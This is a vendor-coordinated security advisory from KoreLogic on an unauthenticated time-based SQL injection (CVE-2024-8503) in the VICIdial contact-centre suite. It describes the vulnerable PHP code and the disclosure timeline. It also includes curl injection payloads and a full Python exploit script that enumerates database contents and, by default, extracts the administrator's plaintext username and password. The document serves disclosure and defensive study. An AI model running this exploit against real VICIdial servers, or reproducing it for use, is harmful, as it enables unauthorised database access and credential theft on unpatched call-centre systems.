KL-001-2024-011: VICIdial Unauthenticated SQL Injection

Title: VICIdial Unauthenticated SQL Injection
Advisory ID: KL-001-2024-011
Publication Date: 2024-09-10
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt


1. Vulnerability Details

      Affected Vendor: VICIdial
      Affected Product: VICIdial
      Affected Version: 2.14-917a
      Platform: GNU/Linux
      CWE Classification: CWE-89: Improper Neutralization of Special
                          Elements used in an SQL Command
                          ('SQL Injection')
      CVE ID: CVE-2024-8503


2. Vulnerability Description

      An unauthenticated attacker can leverage a time-based SQL
      injection vulnerability in VICIdial to enumerate database
      records. By default, VICIdial stores plaintext credentials
      within the database.


3. Technical Description

      VICIdial is an open-source contact center suite, mainly used
      by call centers. The "vicidial.com" website boasts over 14,000
      registered installations. There is a public SVN repository to
      access the source code, as well as an ISO that can be used to
      install the software. The ISO was used in a virtual machine
      for testing purposes.

      When performing SQL queries, VICIdial does not use prepared
      statements, but instead uses the "preg_replace" PHP function
      to remove problematic characters in user-controlled input
      before interpolating the variable into a SQL query. This
      is largely an effective solution, as regular expressions
      like "/[^-_0-9a-zA-Z]/" are passed to "preg_replace", which
      essentially limits input to the characters shown in the pattern
      (letters, numbers, underscores, and hyphens).

      However, these scripts do not utilize a shared PHP file
      for performing sanitization uniformly. Instead, each script
      individually implements the "preg_replace" function, leading
      to inconsistencies in which patterns are used and where they
      are applied.

      For example, providing credentials via the "Authorization"
      request header using the "Basic" scheme, most PHP scripts
      sanitize the username value with the following line:

     $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/','',$PHP_AUTH_USER);

      However, the "VERM_AJAX_functions.php" PHP script does not
      perform any sanitization before inserting the username into
      a SQL "INSERT" statement:

     $PHP_AUTH_USER=$_SERVER['PHP_AUTH_USER'];
     $PHP_AUTH_PW=$_SERVER['PHP_AUTH_PW'];
     ...
     if ($function=="log_custom_report")
       {
       $rpt_log_stmt="insert ignore into
         verm_custom_report_holder(user,
         report_name, report_parameters)
         values('$PHP_AUTH_USER', '$custom_report_name',
         '$LOGhttp_referer') ON DUPLICATE KEY
         UPDATE report_name='$custom_report_name',
         report_parameters='$custom_report_vars'";
       $rpt_log_rslt=mysql_to_mysqli($rpt_log_stmt, $link);
       return mysqli_affected_rows($rpt_log_rslt);
       }

      Since "VERM_AJAX_functions.php" can be accessed without
      authentication, this creates a straight forward unauthenticated
      SQL injection vulnerability. While the page response cannot
      be manipulated by the execution of the query, delays in the
      page response can be observed when using SQL functions such as
      "sleep()", enabling the enumeration of database values using
      time-based SQL injection:

     $ time curl -u "foo:bar" \
  http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report

     real    0m0.019s   <--- (normal response time)
     user    0m0.004s
     sys    0m0.008s

     $ time curl -u "','',sleep(5));#:bar" \
  http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report

     real    0m5.023s   <--- (5-second delay in response time)
     user    0m0.003s
     sys    0m0.008s

      This observable difference can be used to craft queries that
      sleep under specific conditions, allowing an attacker to ask
      "Yes or No" questions. In the following example, the "sleep()"
      function is called only if the provided string matches the
      database version:

     $ time curl -u \
         "','',IF(@@version='korelogic',sleep(5),NULL));#:bar" \
  http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report

     real    0m0.024s   <--- (normal response time)
     user    0m0.006s
     sys    0m0.003s

     $ time curl -u \
  "','',IF(@@version='10.6.14-MariaDB-log',sleep(5),NULL));#:bar" \
  http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report

     real    0m5.019s   <--- (5-second delay in response time)
     user    0m0.004s
     sys    0m0.008s


4. Mitigation and Remediation Recommendation

      This issue has been remediated in the public svn/trunk codebase,
      as of revision 3848 committed 2024-07-08.


5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic,
      Inc.


6. Disclosure Timeline

      2024-07-05 : KoreLogic requests security contact from
                   support@vicidial.com.
      2024-07-08 : KoreLogic reports vulnerability details to VICIdial
                   contact.
      2024-07-08 : VICIdial notifies KoreLogic that the issue has been
                   remediated with revision 3848 in the public
                   Subversion repository.
      2024-07-11 : KoreLogic confirms this vulnerability has been
                   remediated. KoreLogic asks VICIdial if it is
                   appropriate to publicly disclose the vulnerability
                   details at this time.
      2024-07-11 : VICIdial requests four weeks of embargo in order to
                   upgrade supported customers.
      2024-08-05 : KoreLogic asks VICIdial if it is appropriate to
                   publicly disclose the vulnerability details at
                   this time.
      2024-08-09 : VICIdial requests an additional two weeks of
                   embargo.
      2024-09-10 : KoreLogic public disclosure.


7. Proof of Concept

      The following script can be used to automate the exploitation process and
      enumerate the results of provided queries:

          $ time python unauth_sqli.py -rh vicidial.zz -rp 443 -q 'SELECT @@version'
          [+] Target appears vulnerable to time-based SQL injection
          [~] Executing SQL: SELECT @@version
          [~] 1
          [~] 10
          [~] 10.
          [~] 10.6
          [~] 10.6.
          [~] 10.6.1
          [~] 10.6.14
          [~] 10.6.14-
          [~] 10.6.14-M
          [~] 10.6.14-Ma
          [~] 10.6.14-Mar
          [~] 10.6.14-Mari
          [~] 10.6.14-Maria
          [~] 10.6.14-MariaD
          [~] 10.6.14-MariaDB
          [~] 10.6.14-MariaDB-
          [~] 10.6.14-MariaDB-l
          [~] 10.6.14-MariaDB-lo
          [~] 10.6.14-MariaDB-log

          real    0m6.727s
          user    0m0.425s
          sys    0m0.020s


      ##############################
      ##      unauth_sqli.py      ##
      ##############################

      import string
      import random
      import urllib3
      import argparse
      import requests
      from base64 import b64encode

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

      class Exploit:
          def __init__(self, rhost, rport, proxy=None):
              """
              This 'sleep' duration is derived by the average response time
              multiplied by this value. A server with an average response time
              of 10ms is given a 'sleep' duration of 300ms. Tune as needed.
              """
              self.SLEEP_MULTIPLIER = 30
              self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'}
              self.ALLOWED_SCHEMES = ['http', 'https']
              if proxy:
                  self.REQUEST_PROXIES = {
                      'http':  proxy,
                      'https': proxy
                  }
              else:
                  self.REQUEST_PROXIES = {}

              self.TARGET_IP   = rhost
              self.TARGET_PORT = rport

              self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!'
              self.RANDOM_CHARSET = string.ascii_uppercase + string.digits

          # returns a URI with 'http' or 'https'
          def determine_target_uri(self):
              for scheme in self.ALLOWED_SCHEMES:
                  target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}'
                  try:
                      response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)
                      if self.VICIDIAL_FINGERPRINT in response.text:
                          return target_uri
                  except:
                      pass

          # returns a session object with custom proxies/headers if supplied
          def build_requests_session(self):
              self.base_uri = self.determine_target_uri()
              session = requests.Session()
              session.proxies = self.REQUEST_PROXIES
              session.verify  = False
              return session

          # returns a random string of a given length
          def random(self, length):
              return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))

          # returns a timedelta representing the response time of an injected SQL query
          def time_sql_query(self, query, session):
              username    = f"goolicker', '', ({query}));# "
              credentials = f'{username}:password'
              credentials_base64 = b64encode(credentials.encode()).decode()
              auth_header = f'Basic {credentials_base64}'

              target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php'
              request_params  = {'function': 'log_custom_report', self.random(5): self.random(5)}
              request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}

              response = session.get(target_uri, params=request_params, headers=request_headers)
              return response.elapsed

          # returns a boolean if time-based SQL injection is possible, additionally
          # sets the best 'sleep' duration based on response times
          def is_vulnerable(self, session, baseline_iterations=5):
              # determine average baseline response time
              zero_sleep_query = f'SELECT (NULL)'
              total_baseline_time = 0
              for _ in range(baseline_iterations):
                  execution_time = self.time_sql_query(zero_sleep_query, session)
                  total_baseline_time += execution_time.total_seconds()

              average_baseline_response_time = total_baseline_time / baseline_iterations
              self.sql_baseline_time = average_baseline_response_time

              # determine if injected sleep query impacts response time
              sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)
              sleep_query  = f'SELECT (sleep({sleep_length}))'
              execution_time = self.time_sql_query(sleep_query, session)
              if execution_time.total_seconds() >= sleep_length:
                  self.sql_sleep_length = sleep_length
                  return True
              else:
                  return False

          # determine if a character at a specific indice of a query result returns a
          # boolean 'true' when compared to a given character using the supplied operator
          def check_indice_of_query_result(self, session, query, indice, operator, ordinal):
              parent_query    = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, 
sleep({self.sql_sleep_length}), null)'
              execution_time  = self.time_sql_query(parent_query, session)
              return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)

          def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable):
              # convert charset to ordinals
              all_characters     = sorted([ord(char) for char in charset])
              reduced_characters = all_characters

              # use a binary search and enumerate query results
              result = ''
              indice = 1
              indice_could_be_null = True
              while True:
                  """
                  we check if the value is NULL once per indice
                  to determine when a string ends. this adds one
                  request per indice, but since every boolean 'true'
                  results in a delay this is faster than counting
                  the length of the string before enumrating.
                  """
                  if indice_could_be_null:
                      if self.check_indice_of_query_result(session, query, indice, '=', '0'):
                          break
                      else:
                          indice_could_be_null = False

                  # enumerate each character of query result with a binary search
                  middle_indice  = len(reduced_characters) // 2
                  middle_ordinal = reduced_characters[middle_indice]
                  if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal):
                      if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal):
                          reduced_characters = all_characters
                          result += chr(middle_ordinal)
                          indice += 1
                          indice_could_be_null = True
                          print(f'[~] {result}')
                      else:
                          reduced_characters = reduced_characters[:middle_indice]
                  else:
                      reduced_characters = reduced_characters[middle_indice:]

              return result

          # returns administrator username and password by
          # exploiting time-based SQL injection.
          def extract_admin_credentials(self, session):
              print('[~] Enumerating administrator credentials')
              username_charset = string.ascii_letters + string.digits
              admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = 
'1' LIMIT 1"
              admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)
              print(f'[+] Username: {admin_username}')

              password_charset = string.ascii_letters + string.digits + '-.+/=_'
              admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1"
              admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)
              print(f'[+] Password: {admin_password}')

              return admin_username, admin_password

          # injects SQL queries and enumerates results if instance is vulnerable
          def exploit(self, custom_query=None):
              session = self.build_requests_session()
              is_vulnerable = self.is_vulnerable(session)
              if is_vulnerable:
                  print('[+] Target appears vulnerable to time-based SQL injection')
              else:
                  print('[-] Failed to perform time-based SQL injection')
                  return

              if custom_query:
                  print(f'[~] Executing SQL: {custom_query}')
                  self.enumerate_sql_query(session, custom_query)
              else:
                  self.extract_admin_credentials(session)

      if __name__ == '__main__':
          argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi')
          required  = argparser.add_argument_group('Required Arguments')
          optional  = argparser.add_argument_group('Optional Arguments')
          required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address')
          required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number')
          optional.add_argument('-q',  '--query', required=False, help='Custom SQL query to execute',                
default=None)
          optional.add_argument('-p',  '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', 
default=None)
          arguments = argparser.parse_args()

          exploit = Exploit(
              rhost = arguments.rhost,
              rport = arguments.rport,
              proxy = arguments.proxy
          )
          exploit.exploit(custom_query=arguments.query)


The contents of this advisory are copyright(c) 2024
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

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ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
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tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

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